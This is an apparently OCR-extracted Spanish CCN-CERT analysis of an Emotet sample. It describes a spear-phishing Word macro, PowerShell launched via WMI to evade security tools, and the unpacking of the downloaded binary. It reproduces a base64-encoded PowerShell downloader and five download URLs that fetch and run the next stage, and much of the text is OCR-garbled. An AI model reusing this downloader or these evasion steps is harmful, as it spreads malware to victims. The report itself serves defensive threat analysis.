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o extraordinario derivado de la utilizacién de la informacion y software que se indican incluso cuando se
advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional, bajo las
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1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la
Informacién del Centro Criptoldgico Nacional, CCN, adscrito al Centro Nacional de
Inteligencia, CNI. Este servicio se cred en el afio 2006 como CERT Gubernamental
Nacional espafiol y sus funciones quedan recogidas en la Ley 11/2002 reguladora del
CNI, el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador
del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de
octubre.

Su misién, por tanto, es contribuir a la mejora de la ciberseguridad espafiola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rapida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinaciéon a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad
existentes.

Todo ello, con el fin Gltimo de conseguir un ciberespacio mds seguro y confiable,
preservando la informacidn clasificada (tal y como recoge el art. 4. F de la Ley 11/2002)
y la informacion sensible, defendiendo el Patrimonio Tecnolégico espafiol, formando al
personal experto, aplicando politicas y procedimientos de seguridad y empleando vy
desarrollando las tecnologias mas adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
Publico es competencia del CCN-CERT la gestion de ciberincidentes que afecten a
cualquier organismo o empresa publica. En el caso de operadores criticos del sector
publico la gestidn de ciberincidentes se realizara por el CCN-CERT en coordinacidn con
el CNPIC.
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2. RESUMEN EJECUTIVO

La muestra analizada se corresponde con Emotet, un troyano cuyos origenes se
remontan a 2014 y cuya autoria se atribuye al grupo de atacantes Mealybug [REF.- 1].
El desarrollo inicial de Emotet tenia como principal objetivo el robo de credenciales
bancarias, aunque actualmente su modelo de negocio ha evolucionado siendo
utilizando también como servicio de distribucién de otros cddigos dafiinos
pertenecientes a diversos grupos de atacantes. El troyano bancario Trickbot o el
ransomware Ryuk [REF.- 2] son ejemplos de algunos de los especimenes distribuidos
por Emotet en los ultimos meses.

La principal via de infeccién utilizada por los atacantes es el correo electrdnico,
generalmente por medio de un enlace dafiino o un documento ofimatico con macros.

Emotet presenta una arquitectura modular con multiples funcionalidades y
capacidades; por ejemplo: servicio de malspam a la lista de contactos de la victima,
servicio de propagacion a otros equipos mediante fuerza bruta a partir de diccionarios
de contrasefias, servicio DDoS, etc. Cabe destacar que, las capacidades de propagacién
por medio de los exploits EternalBlue, EternalRomance, o EternalChampion (MS17-
010) atribuidas inicialmente también a Emotet, proceden realmente de uno de los
maodulos empleados por Trickbot [REF.- 3].

El espécimen descrito en el presente anilisis parte de un documento de Word
con una macro dafina. Si el usuario habilita dicha macro, un script ofuscado en
Powershell inicializard el proceso de infeccion mediante la descarga y ejecucién de un
binario (Emotet) desarrollado en C++ para arquitecturas x86. Tras su ejecucion, este
binario generard multiples procesos hijo e ira desempaquetandose en memoria hasta
volcar, en determinado directorio del usuario, el binario que finalmente conectara con
el servidor de control para descargar el malware correspondiente (por ejemplo,
Trickbot).

3. CARACTERISTICAS DEL CODIGO DANINO

El cddigo daiiino realiza las siguientes acciones:

e Ejecuta cédigo .vba (Visual Basic para Aplicaciones) por medio de una
macro embebida en un documento de Word.

e Ejecuta un script ofuscado en Powershell para descargar y ejecutar
Emotet.

o Durante el proceso de infeccion de Emotet se generan nuevos procesos
y se conecta con el servidor de control (C2).

e Se remite informacidn sobre el sistema comprometido al C2.

e Se descargan nuevos especimenes en el sistema.
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4. DETALLES GENERALES

La firma del cédigo daiiino del fichero 2019 09-666019181.doc es la siguiente:

MD5 19411b3d1c84b254bc2254957397bd8f

SHA1 €104c8d5045a7309e796005081e36€1591982315

SHA256 | 2926d350ee2037949c36a19aca959b8404626f09d32bf930cf9b218424f7cf27

El documento ha sido remitido a la plataforma de VirusTotal [REF.-4] por primera
vez el 2019-09-26 a las 07:03:42 desde Emiratos Arabes Unidos. Actualmente una tasa
de 40 motores antivirus detecta la amenaza. Cabe destacar que otras plataformas
como VMRay [REF.-5] y Any.run [REF.-6] también recogen diversos andlisis de la
muestra. En la siguiente imagen se observa el arbol de procesos generado durante el
proceso de infeccidn partiendo de la ejecucién de la macro embebida en el documento

Word.

MOVE YOUR MOUSE TO VIEW SCREENSHOTS

4-@-)

- MESSAGIO 536-2218.doc | 'NFO

macos  macus-omopen | emotstdoc | emotet | generstes-doc i

Figura 1. Resultado analisis (https://app.any.run)
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Fijese que el codigo .vba embebido en la macro tiene por objetivo ejecutar una
instancia de powershell con determinado script ofuscado en base64 (utilizado como
argumento). Notese, sin embargo, que dicho proceso (powershell.exe) no es ejecutado
como un proceso hijo de WINWORD.EXE sino que es WMI (Windows Management
Instrumentation) el responsable de su ejecucion (proceso WmiPrvSE.exe). Esta accidon
responde a un intento de evadir soluciones de seguridad (AV, EDR, etc.) que
monitorizan procesos hijos potencialmente dafiinos por parte de aplicaciones
ofimaticas como Word, Excel y PowerPoint.

Algunas tecnologias de Microsoft, como ASR (Attack Surface Reduction) [REF.- 7],
estan dirigidas también a detectar este tipo de amenazas. Utilizando WMI, en lugar del
propio proceso ofimatico se consigue ejecutar una instancia de powershell de forma
mas discreta [REF.- 8].

Apiicacién de serv. . C:\Windows\syste .. | Vicrosct Comorat... NT AUTHORITY\... C'\Wiindows\system32\senvices exe |
Proceso host para .. C\Windowssystem3 .. | Microsoft Comporat. . NT AUTHORITYA. . C\Windows system32\swchost exe 4 DeomLaunch

i wmiprvae exe (2260) WM Provider Host  C:\Windows'system3... | Microscft Comorat... NT AUTHORITY'... CWindows\system32\bem'wiprvse.exe
WMI Provider Host  C:\Windows)\system3 Microsct Comorat... NT AUTHORITY\... C:\Windows\system32\wbem\wmiprvse.exe

5 powershell exe (2416)  Windows PowerS... C:\Windows\System3 Microscit Comorat... RCE_PC\ powershell enco JABNAGEAbaBhAGCAZQByAHIAbQBvADDAWEWAGUAbgEIAHo AJQBIAGWAYQE.

Sink to receive as.. C:\Windows'system3... | Microsct Comoret... RCE_PC\ C:\Windows system32\whemwnsecapp.exe -Embedding
COM Sumogate  C\Windows'system3.. [ Microscft Comorat... RCE_PC\ C:\Windows \system32\DilHost exe /Processid:{ABB902B4-09CA-4BBE-B78D-ABF59079A8D5)
COM Surogate  C:\Windows system3 B Vicrosoft Comorat. . RCE_PC\ C:\Windows \system32\DilHost exe /Processid:{ABB902B4-09CA-4BBE-B78D-ABF59079A8D5)

51 ] services exe (488)
= 1] svchost exe (608)

] unsecapp.ae (1860)
&7 DiiHost exe (3616)
&7 DiiHost exe (4072)

Figura 2. Ejecucion de powershell via WMI
El documento Word tiene un tamano de 151040 bytes. Dispone de diversas

macros ofuscadas para ejecutar la instancia de powershell que desencadenara el
proceso de infeccién de Emotet.

Figura 3. Macros ofuscadas
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La mayor parte del cédigo .vba se corresponde con comentarios e instrucciones
sin sentido cuyo Unico propdsito es entorpecer el andlisis del mismo. Mediante un
conjunto de sustituciones, la macro consigue recomponer un string de gran tamano
que se corresponde con cédigo powershell codificado en base64.

, Outdoors & Autcmotive navigate cross-platform Incredible technologiss Row Personal Loan Account deposit exploit Credit Card Account back
1

Fields New Jersey Minnesota Slesk Plastic Ball GB teal Borders application International
ile i <= ActiveDocument.Revisions.Count

s Money Market Account Credit Card Account eyeballs schemas solid state Cambridgeshire Human transmit parsing Bahraini Dinar withdrawal
hebug.Print "Director " & i & " invoice: " & ActiveDocument.Revisions(i).Ruthor 'Grocery & Toys Money Market Account Estonia

*erchitect withdrawal yellow firmwars Marketing Bedfordshire Ford Assistant Refinsd Wooden Shoss Walk

Depug.Print "generating " & i & " Communications: " & ActiveDocument.Revisions(i).Creator 'Intelligent Wooden Cheese

‘withdrawal mission-critical JSON Interactions Toys & Computers Markets Tasty Health Cambridgeshire dynamic port Texas

Debug.Print "applications port Division " & i & " Money Market Account invoice French Guiana: " & ActiveDocument.Revisions(i).Date 'ROT
'Sparts, Industrial & Electronics Markets Kentucky Rubber Intuitive streamline Wooden Island

Debug.Print "holistic deposit De-engineersd " & i & " initiatives invoice Berkshire: " & ActiveDocument.Revisions(i).FormatDescription '
'matiix protocol neural Strategist Industrial Kentucky proactive Principal Fantastic Cotton Ball

Debug}Print "Forward Wooden Knolls ™ & i & " Customer: " & ActiveDocument.Revisions(i).Range 'hack Legacy override 3
'South) Dakota program Circles Ergonomic SSL bi-directional Future Front-line backing up Intelligent Frozen Pants Implemented Forks Natio|
Debug.Brint "COM " & i & " Cliffs Nicaragua Assurance: " & ActiveDocument.Revisions(i).Style 'Concrete Parkways synthesizing

'Avon Aysurance blue application Manager scale SCSI Ergonomic Metal Shirt markets multi-byte Wooden

Debug.Pdint "transmit digital " & i & " Assistant: " & ActiveDocument.Revisions(i).Type 'maximize Tasty Plastic Chicken Ramp

*

End Function

Function SCSImic(Spprts_ Industrialwih)

‘artificial intellidence purple deposit transmitting Vermont Assistant Alley quancify plum Officer Curve executive back-end i
= »
o x|
Investment_Accountrizl.redundan s, Gerericvu [
Expresidn [ waiot [Tipo -
redundantwiv redundantwiw/redundantwjv B

Genericvwu Vacio VariantEmpty
i 1 Variantinteger
contentn “powershel -enco JABNAGEADIBNAGCAZ ABy AHIADGBYADDAIWEWAGUADIEIANDAGOBIAGWAY QEOACAZ QANADSAJABAGEACABNA J ariant/string
Granitenw] Vacio VariantEmpty

Figura 4. Macro ofuscada (powershell en base64)

Recuperado el base64, la macro finalmente ejecuta el proceso de powershell via
WMI.

open architecturezhi = CreateObject (5C5Imic ("gwuhdwgwuhdigwuhdnmgwuhdgmt s : Wgwuhdingwohd3gwuhd? gwohdProgwubhdcegwuhdsgwuhds™) ) .Creq
End Function

Function 5C5Imic(Sports_ Industrialwih)
'artificial intelligence purple deposit transmitting Vermont Assistant Alley guantify plum Officer Curve executive back-end

SCS5Imic = Replace (Sports Industrialwjh, Replace ("vszdagvszdawvsxdauvsxzdahvsxdadvsxzda™, "vsxzda™, ""), "") "Borders Louisiana hybr
End Function
Sub autoopen ()

=« | m

redundantwiw/redundantwiw

Sports__Industrialwjh g g gmg disgwuhd:Wgwuhdingwuhd32gwuhd_PgwuhdrogwuhdcegwuhdssgwuhdStgwuhdargwuhdtugwuhdp” Variant/String
SCSimic “winmgmts:Win32_ProcessStartup” Variant/String

Powershell -enco
JABNAGEAbgBhAGcAZQByAHIAbQBVADOAJWBWAGUAbgBIAHOAdQBIAGWAYQBOAHCAZgANADsAJABAG
EAcABhAGMA2aQBOAG8AcgBpAHAAawAgADOAIAANADYANQA3ACCcAOWAKAGQAZQBWAG8AcWBpAHQA
awBgAGBAPQANAEkAbgBOAGUACgBUAGEAbABGAGKAdwANADSAJABSAGUAdgBIAHIAcwWBIAGUAbgBNAG
kAbgBIAGUAcgBIAGQAaQBmMAHEAPQAKAGUAbgB2ADoAdQBzAGUAcgBWAHIAbwBmMAGKAbABIACSAJwB
cACcAKWAKAGMAYQBWAGEAYwWBpAHQAbwBYAGKACABrACsAJWAUAGUAeABIACcAOWAKAEBAdgBhAGw
AbgBmAGMAPQANAEgAYQBUAGQAYWBYAGEAZgBOAGUAZABFAFAAbABhAHMAJABpAGMAXWBQAGEA
bgBOAHMACcgBVvAGQAJWA7ACQAYQBWAHAAbABPAGMAYQBOAGkAbwBUAHAAbQBPADOAJgAOACCAbgB
IACcAKWANAHCALQBVAGIAJwArACcAagBIAGMAJAANACKAIABOAEUAJAAUAFCARQBCAEMATABIJAGUADL
gBUADsSAJABQAHIAYQBjAHQAaQBjAGEAbABfAFcAbwBVAGQAZQBUAF8ARWBSAGBAdgBIAHMAegBpAGE
APQANAGgAdABOAHAAOgAVAC8AbWBOAGMALQBtAGEAbgBpAGWAYQAUAGMAbwBtACS8AdwBWACOAY
QBkAGOAaQBuAC8AcQAYAHoAaABOADCcANQA2ADCcALWBAAGEAdABOAHAAOgAVACBAdwB3AHCALgBtA
HQAaQAUuAHMAaABpAHAAaQBUAGQAaQBhACAAYwBVAGOALWB3AHAALQBhAGQAbQBPAGAALWBjAH
MAcwAVADIAMQBUAGQAMWAXADMAMgA4AC8AQABoAHQAJABWADOALWAVAHCAdwB3AC4AdwBpAH
MAZABVAGOAYQBIAGMALgBjAG8BAbQAVAGMAcwBzAC8AdwBtADgAZgB1ADKAMQASADAALWBAAGgAd
ABOAHAAOgAVAC8AcgBIAHAAbwBYAHQAaQBUAGcAbgBIAHcALgBAAHkAegAvAHCAbwBYAGQACABYAGU
AcwBzAC8AMwBmMADAAOAA4ADAALWBAAGEAdABOAHAAOgAVAC8AbQBIAHQAYQBWAGgAeQBzAGKAY
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wBhAGwWAaAB1AGIALgBjAG8AbQAVAGIAawBWAFSAMAA4ADAAOQAYADAAMQASACSAOQBUAHYAbwWA
4ADcANgA3ADKAOQAVACCALEAIAFMAYABQAGWASQBUACIAKAANAEAAJWAPADSAJAB2AGKAbwBSAGUA
dABjAHUAegA9ACcAaABhAGMAawBpAGA4AZWBOAGgAbwANADsAZgBvAHIAZQBhAGMAaAA0ACQAQQBY
AGkAegBvAG4AYQB2AHMAZgAgAGkAbgAgACQAUABYAGEAYWBOAGKAYWBhAGWAXWBXAG8AbwBKAGU
AbgBfAECAbABVAHYAZQBzAH0oAaQBoACkAewBOAHIAeQB7ACQAYQBWAHAAbABPAGMAYQBOAGKAbwB
UAHAAbQBpPACAAIgBEAESBAYABXAG4AbABZAGSAYQBKAGYASQBSAGUAIgA0ACQAQQBYAGkAegBVAGAA
YQB2AHMAZgAsACAAJABSAGUAdgBIAHIAcwBIAGUAbgBnAGkAbgBIAGUAcgBIAGQAaQBMAHEAKQA7AC
QAWQBIAGOAZQBUAG4AbwBvADOAJWBCAG8AcgBkAGUAcgBzAHCAYgBpACCAOWBIAGYAIAAOACgAIgAO
ACcARWBIAHQALQANACsAJwBJAHQAJWArACcAZQBtACcAKQAgACQAUgBIAHYAZQBYAHMAZQBIAG4AAZwW
BpAG4AZQBIAHIAZQBkKAGkAZgBxACKALgAIAEWARQBUAGAARWBUAEgAIgAgACOAZWBIACAAMgAXADAA
NQA3ACKAIAB7AFsARABpAGEAZWBUAG8AcWBOAGKAYwBzACAAUABYAG8AYwBIAHMAcwBAADoAOgAIA
FMAYABUAGEAUgBUACIAKAAKAFIAZQB2AGUAcgBzAGUAZQBUAGCcAaQBUAGUAZQBYAGUAZABPAGYAc
QApADsAJABCAG8AbABpAHYAYQBYAF8ARgB1AGUAcgBOAGUAbgBVAHIAPQANAFMAQwWBTAEKAbQBSAG
gAJWA7AGIAcgBIAGEAawA7ACQAUgEBIAGcAaQBVAG4AYQBSAGIACABIADOAJWBBAHUAJABVAFSATABVA
GEAbgBfAEEAYWBjAG8AdQBUAHQAaAB6AGKAIWBIAHOAYWBhAHQAYwWBOAHSAfQBIACQATABPAGEAa
QBzAG8AbgBxAHYAYWASACCAYgBIAHMAJABVAGYAYgBYAGUAZQBKAHEAaQBOACCA

Figura 5. Ejecucion powershell via WMI

El script en powershell funcionard a modo de downloader para descargar, desde
alguno de los 5 dominios embebidos en una de sus variables, el siguiente stage. Las
URL de descarga disponible en el script se corresponden con:

e http://otc-manila.com/wp-admin/q2zht7567/

e http://www.mti.shipindia.com/wp-admin/css/21nd31328/
e http://www.wisdomabc.com/css/wm8fu9190/

e http://reportingnew.xyz/wordpress/3f0880/

e http://metaphysicalhub.com/bkp_08092019/9nvo876799/

Para su descarga se hard uso del método DownloadFile de la clase WebClient. El
fichero descargado se almacenard dentro del directorio del usuario (%userprofile%)
bajo el nombre 657.exe.

SManagzrrmo='"enez
' .exe’ :80valnfo=
|'http://otc—mani
|éhttp://repor g VZ/Wwordpress, tp://metaphysi

foreach(§Arizonavsf in §Practical Wooden Gloveszih){try{§Japplicationpmi.
='Borderswbi';If ((&('Get-'+'It'+'em') SReverseengineeredifq)."LEn GTH" -ge
$Reverseengineeredifq) ;§Bolivar Fuertenor='5SC5Iinmlh’ ;break;§Regionalbpb='Auto Loan Ac

counthzi'}}catch{}}$§Lliaisongve="bestofbreedgit '|
Figura 6. Codigo powershell desofuscado

El binario 657.exe (MD5: d29401c708cb018661d76e7b515137b0) se encuentra
empagquetado, tiene un tamafio de 258.048 bytes, ha sido desarrollado en C++, y se ha
compilado para arquitecturas de 32 bits el 26 de septiembre de 2019 a las 12:45:16
(aunque este dato puede ser facilmente manipulado).

Se observa que uno de sus recursos (RCDATA 102) ocupa un gran tamano
respecto del tamafio total del binario (75588 bytes) con lo que parece un blob de datos
cifrado.
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type (9) name file-offzet (87) signature non-standard  size (98874 bytes)  file-ratio (38.32%) md5
redata 102 0:0002F638 unknown - 75588 2929 % 736610C50BF741 ABS4FO2 A060003052E
string-table 3857 0:0002E0BC string-table - 1250 048 % AQES0CO38A0T CDACI02CI3ACECTAAL..,
string-table 7 000020604 string-table - 1228 048 % 1D063AEDT544494 D11 FGBI1191 CF28DF
string-table 3867 O:0002EEAD string-table - 1220 047 % F2CBAA170C167TES AL ETBEG2EBICBOD
[ Resource Hacker - 657.exe
File Edit View Action Help
= || Dialog . I
D) e AW e 0 LREBSRP OO
. Cursor 0002B638 (4C 60 CF 35 4B 5L A3 91 44 80 41 CFDC 29 65 F8 =« L" SKZ DA )e
J Bitmap 0002B&48 (FE 29 91 24 04 4C 7E 47 7E 70 C3 OR 80 2B 52 DR L-G~p +E
) Icon 0002B&5E (D0 C6 17 28 D& 84 SR 43 2B OA D1 9B C7 4F 15 D2 { ZC+ 0
| Dialog 0002B668 |EC 5C 7F Bl 43 CB FF F3 74 32 F4 02 E8 24 79 36 A\ € t2 &v6
| String Table 0002B678 |AS CE E4 CB 11 C9 97 25 21 €2 C2 31 &F 51 3D 58 %! 1loQ=K
| RCData 0002B682 |15 ED AB DF 43 F4 D3 45 DE BS E2 07 E9 19 BF C4 C K
|y 102:0 0002B698 (&80 29 06 1F D3 C& E9 59 &R 8D BB 0C BO &4 B4 59 ) bid bid
0002B6RE (CA T7F ARG 95 80 AD C1 CO &4 9B B2 7D F& 40 OF &8 d 1@h
J Cursor Group
- - NNN2RARA | RR 47 R2? 53 FA AT NF 53 DA 37 RA 10 AR 2R AF 4D (S 817 + M

Figura 7. Recurso unknown (RCData: 102)

Actualmente 52 motores antivirus detectan esta muestra como daiiina. [REF.-9].
La siguiente captura muestra las principales caracteristicas estaticas del binario.

PE32 EXE image
BxPaB46592 (OK
Bx@14C (i386
indows GUI
n?5/NI4
soft LINK 7.18
C++ 7.1 2883 3877
C++ 7.1 28003 Free Toolkit
C++ 7.1 2883 3877
u C++ 7.8 XP DDK & DDK SP1
Bx18088

Bx1 B8

@x08400000

BxPA407392 -text section %7392

gxgégs RELOCS_STRIPPED | EXECUTABLE_IMAGE | LINE_NUMS_STRIPPED :LOCAL_SYMS_STRIPPED :32BIT_MACHINE
x0A60

.text. .pdata. .data. .rspc
g{%géé.g%% KERNEL32.d11. USER32.d11. GDI3Z.d11l. WINSFOOL.DRU. ADUAPI32.d11l. COMCTL32.d11. SHLWAFI.d1l. ole3Z.d1l. OLEAUT32.d11

7.0.9%’?3}? Bx8 @x487? (Inglis <Estados Unidos> UTF-16
:

BxBA42392C

@x4B0 <Unicode;
BxBB4BE64E

MPORT
[RESOURCE
LOAD_CONFIG

B2PEBS AABBDC PA420ES8 PHA2AESE . v
8298600 B1939C DO429008 VOBZ5008 .
P1FA8A AABO48 PA41FA8A POA1FOBA .
1AT B1BAEN BAB434 PA41BAAA POA1BOAA .
[DELAY_LOAD_IMPORT B20EBD 000040 DO4Z0EAR DOBZOEGD . r

4

08400000
86401008
8841 BAAA

88401000
8641 BAARA
88423008

00001006
010000
AREAnA

0eaRe2AA
ABA19AFT
BBAA74FC

AAPPAANG-AROG1 ARG AREA1A00
ARA01ARA-ARA1 BAAA ABA1ABEA
BAA1 BAAN-BAA23AAN ARARBABA

08423000
88423008

89429008 POOAEAAA
80443000 BOA1ABAB

09aR5134
ABA1939C

00A23AN0-AAG25000 AREAZ2A00
ARA25A00-ARA3IFABA ABGB1ABEA

?.8.9272.8
d
0409 (Inglis

Bx4B8 (Unicode
Hicrnsof{Y Uisual Studio

stados Unidos)
UTF-16
-MET

® Microsoft Corporation.
HSRHL

All rights reserved.
6.8 §P3

Figura 8. Propiedades del binario 657.exe

En el apartado 6 se describirdn las acciones dafiinas desencadenadas a partir de la
ejecucién del binario 657.exe.

5. PROCEDIMIENTO DE INFECCION

La via de infeccion empleada por los atacantes se corresponde con un spear-
phishing, en el que se adjunta un documento ofimatico (.doc), similar al mostrado en la
siguiente imagen.
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De_ < marinesciences@escientiﬁcregort.net> w

Asunto Respuesta 42
A mite

Buenos dias

Para cualquier duda, estoy a tu disposicidn.

Saludos

Antes de imprimir este e-mail piense bien si es necesario hacerlo: El medio ambiente es
cosa de todos.

I[I]J 1 adjunto: 985832-2019-7-84938.doc 140 KB l @) Guardar Iv
=

Figura 9. Spear Phishing (Fuente imagen: blogs.protegerse.com)

Dicho documento de Word contiene cddigo .vba dafiino que serd ejecutado si el
usuario, tras abrir el mismo, habilita la ejecucién de macros. En dicho caso, el evento
“AutoOpen” invocard al método “Genericvwu” (véase resaltado en la siguiente imagen)
gue comenzara la ejecucién de las acciones dafiinas.

(=] #9 Microsoft Visual Basic para Aplicaciones - 2019_09-6660... | — || = |[wZs]

Archive  Edicién  Ver [Insertar Formato Depuracion  Ejecutar

Archivo I|1|c|t|1r1ser Disei | Farr

Herramientas  Complementos  Ventana  Ayuda

I—j D @DBquema [ Q == DJ:F e mE-d 5 84 Y, @@wg

=l Barrador
Modo de Disefio de Disefia Mostrar Zoom Ventana Macros Propiedad - |
lectura impresién  web - - - = (General)
Vistas Macros SharePoint - 'withdrawal mission-critical J30N Interac

Debug.Print "applications port Division *
'Sports, Industrial & Electronics Market:s
Debug.Print "holistic deposit De-engineex
'matrix protocol neural Strategist Indust
Debug.Print "Forward Wooden Enolls "™ & i
'South Dakota program Circles Ergonomic £
PRODUCT NOTICE Debug.Print "COM ™ & i & " Cliffs Nicarac

'Avon Assurance blue application Manager
Debug.Print "transmit digital " & i & " I
i=i+ 1

Wend
.\ . . . open_architecturezhi = CreateCbject (SC5Imic ("gwuk
Word ha§n1 been a(.rw_a_ted, To keep using Word without Fnd Funection
interruption, Enable Editing and Enable Content. Function SC5Imic (Sports  Industrialwih)

'artificial intelligence purple deposit transmitt
5C5Imic = Replace (Sports_ Industrialwjh, Replace|
End Function

Sub autoopen()

'Tasty optimal Investment Account back-end transn
&| Genericwvwu

'Investment Account engage Granite South Caroline
End Sub

Microsoft Word

_fj§'4| ]

Piginaldel O palabras [[% E B -—b+——+ 70%

Figura 10. Método AutoOpen()
6. CARACTERISTICAS TECNICAS

El binario 657.exe comenzara su ejecucién desempaquetandose en memoria. En
primer lugar, reservara un bufer donde copiard un pequefio stub que utilizard para
cargar y hacer uso de determinadas APIs ofuscadas.
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55 push ebp buffer_1 e
0D1E000L 8EEC mov =bp,=sp Dcultar FPU
00180003 81EC 50010000 |sub esp,150
001B0009 8D85 44FFFFFF | Tea eax,dword ptr ss:[febp-=c] L E; gg:iigig 657.004zF638
001BO0OF 50 ush eax =
001B0010 8D8D 40FFFFFF | Tea ecx,dword ptr ss:[febp-cof D2 22 0] kernelbase.770a2221
001B0016 51 push ecx EDX 00443000
001E0017 E8 24070000 €all 1E0740 EBP  OO01BFSEC
001B001C 83C4 08 add esp,s ESR  001BFESC
001BO01F BA 01000000 |mov_edx,1 ESI 00424848 65700424848
001BO024 6EC2 00 imul eax, edx,0 EDI 00424848 657.00424848
00160027 €68405 64FFFFAmov byte ptr ss:[lebpreax-ac,o
001BD02F B9 68000000 |mov ecx,68 EIF  001E0530
001B0034 66:898D CSBFEFF mov word ptr ss:febp-138],cx
001BO03E BA €5000000 |mov edx,65 65 e
001B0040 66:8995 CAFEFF mov word ptr ssillebp-136],dx ;EL?GSPF innigzas
00180047 BE 72000000 |mov eax,72 k5 o4& oEm
001B004C 66: 8985 CCFEFF mov word ptr ss=:[ebp-134],ax
00180053 B3 6E0000D00  |mOV eci,6E CF O TFO IF1
001B0O058 66:898D CEFEFF mov word ptr ss:ebp-132J,cx
OD1EOOSF BA £5000000 mov edx, &5 LastError £0030016
001B00E4 66:8995 DOFEFF mov word ptr ss:[febp-130J,dx LastsStatus 80000006 (STATUS_NO_MORE_FILES)

B8 &C000000 mov eax,sC
66:8985 D2ZFEFF mov word ptr ssillebp-12£],ax
B9 33000000 |mov ecx,33
66: 8980 D4FEFF mov word ptr ss:[Jebp-12cf,cx

GS 0028 FS 0053
ES 0028 D5 002B
CS 0023 35 002B

00180083 BA 32000000 |mov edx,32

ggigggg; gg'gggéc’gg?” mgz ::;dzgt'" ss:lfebp-124], dx 1. ST(0) 00OOOODOODOODOO00000 X87r0 Vacio 0.000000000000000000
b 66:8585 DEFEFA mav word ptr ss:[ebp-128],ax A ST(1) 00000000000000000000 XEFrl Vacio 0.000000000000000000
o TEbaoE E5 64000000 | mav scx,5: sa:] o sT(2) 00D00O0DO000DOOODO0O X&7rz vacio 0.00000D00O0DO0000OO
001E00AD £e:5350 DAFEFE mov word ptr ss:Qebp-126],cx ST(3) 00000000000000000000 XEFrE Vacio 0.000000000000000000
OO1RO0AT EA €CO00D0D | mov eds, 5 s ST(4) 0000D00D00D0DD0DD00D X87F3 Vacio 0.000000000000000000
001BO0AC 6618995 DCFEFF mov word ptr ss:[ebp 124, dx ST(5) 00000DDOOODD0OOO00D0 XE7FS Vacio 0.000000000000000000
001E00EZ BE €C000000 |mov eax,&c scif' 1 ST(&) 3FFFS000000000000000 X87rE Vacio 1.000000000000000000
001E00ES 56:8985 DEFEFF mov word ptr ss:[febp-122],ax - ST(7) 3FFF20000000DD0OD000 XB7r7 Vacio 1.000000000000000000
M RMNRF 29 AOF BCW.ACX

Figura 11. APIs ofuscadas

Tras identificar las APIs necesarias, localizarda el recuso RCData 102 via
FindResourceA y LoadResource para cargar el blob de datos cifrado mencionado en el

punto 4.

B0y egiaem’ ~ [FindResourcea N[
mg\;hegp,esp [ e~< ooooooes '
. EBX  FFFFFFFF
g:zn g:g:g SEE :Z:Egggzi]ﬂ ECX 76870000 crypt32. 76870000
push dword ptr ss:[ebp+a] [ebp+8] : "T75~0XK4rE*bOdBIr EDX  0000275C
[€all <kernel3z.FindResourceExas EBP  DO018F6EC
pop ebp ESP  0018F58C
FEE C ESI 00424848 657.00424848
no 2
o I o |[Por defecto (stdcai)
= 1 [esp+4] 00000000
edi=657. 00424848 3: [esp+8] 0DDDDOOGE
3: [esp+C]_000D000A

[esp+10] 775B3145 ntd11.775B83145

.text:76FAE9SR kernel32.d11:52E98B #2E98E <FindResourceAr»

@ volcado 1| gt Volcado 2 | 414 Volcado 3 [ 44 voicado 4 | 48 volcado 5 | @ monitorizar 1 [ bx-lLocales ¥
. | 0018F5394
0D018F593
0018 775B3145 | ntd11. 77583145
BF5A0 || 0018F6DO| "urce”
—

Direcci6| Hex UNICODE
001E0000 |56 8B EC 81

EC 50 01 0000 80 85 44|FF FF FF 50

001B0010( 8D BD 40 FF‘FF FF 51 ES|24 07 00 00|83 C4 08 BA

fe e L5 o oo A s e R
pestudio 8.95 - Malware Initial Assessment - www.winitor.com [c:\users'smmm—'657 exe]
file help
w8 7
> file-header (Sep.2019) + | pype (9) name file-of 7} signature size (98874 bytes)  file-ratio (38.32%) md5 entropy  language(2) first-bytes-hex
» optional-header (GUD | i, Bx0002F638 unknown 75588 2029% 136610CS0BFTAL. 0000  neutral 4C60CF354BSAAZOL .

Figura 12. Localizacién recurso

Dicho recurso serd copiado a un bufer del mismo tamafio (75588 bytes) via
memcpy.

dword ptr [ebp-E4]=[0018F6338 <&memcpy>]=-<ntd11.memcpy> esp=<&resource_102> (0018F530)
Cc "\

001BOSEQ 001BOSEG

W voicado 1 | Wi vokado 2 | Wl vokcado3 | @lvolcadod | livolcados | B moitdh] | @ vokacot | Wlhvoicadoz | @lvocado3 | Wlvolcado4 | lvoicados | ) mal
i i UNICODE - i i

60 CF 25 (4B 5A A2 91(44 B0 41 CF|DC 23 &5 FB8

=
=
@
4]
wn
i
m
@
]
~
=1
m
n
w
o
@
w
-
'3
n
o
m
=
m
"
=]

Figura 13. Copia del recurso 102 a bufer
Posteriormente, el bufer serd descifrado apoyandose en una clave de 32 bytes

generando como resultado un nuevo shellcode. Asimismo, puede observarse, en el
offset 0x53F de dicho bufer, el comienzo de un nuevo binario.
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001B0E33 5o push eax - T S vrsrew v
001BOGIA 8B40 08 mov ecx,dword ptr ss:[ebp+s] [ebp+8] :I f7S~UxK4rE‘*b0dBIrT1xz\5g0hx1a4ch”| EAX 00012744
001B063D 51 push ecx EBX EFFFEFFF
ST mov gdx,dword ptr ss:[ebp-4] Key o AR -
52 push
8B45 F8 mov eax,dword ptr ss:[ebp-z] [ebp-8]:resource_102 EDX 00012744
50 push-ea EEF  0018FGEC
E8 BS010000< | call <decrypt_resourcex e
83C4 10 i g SR -

-
I ‘ b Por defecto (stdcall)

1: [esp+d] 00012744
<decrypt_resourcex 2: [espt8] 0041C5D0 "F75~
3: [esp+C] 00000020
[esp+10] 77583145 ntdl

001B06AE

N 001C0000 | vol 102 de 001CO005
444 volcado 1 | U4 volcado 2 | W vVolcado 3 | Gl Volcado 4 | Gl Volcado 5 | @Monimﬂ)i IEEEIHe 00100000 volver a resource 2

Direccid| Hex UNICODE || 901EF534|0041C5D0 | "f75~0XK4rE*bOdBIrT1xz | sgONXT1a4Ch”

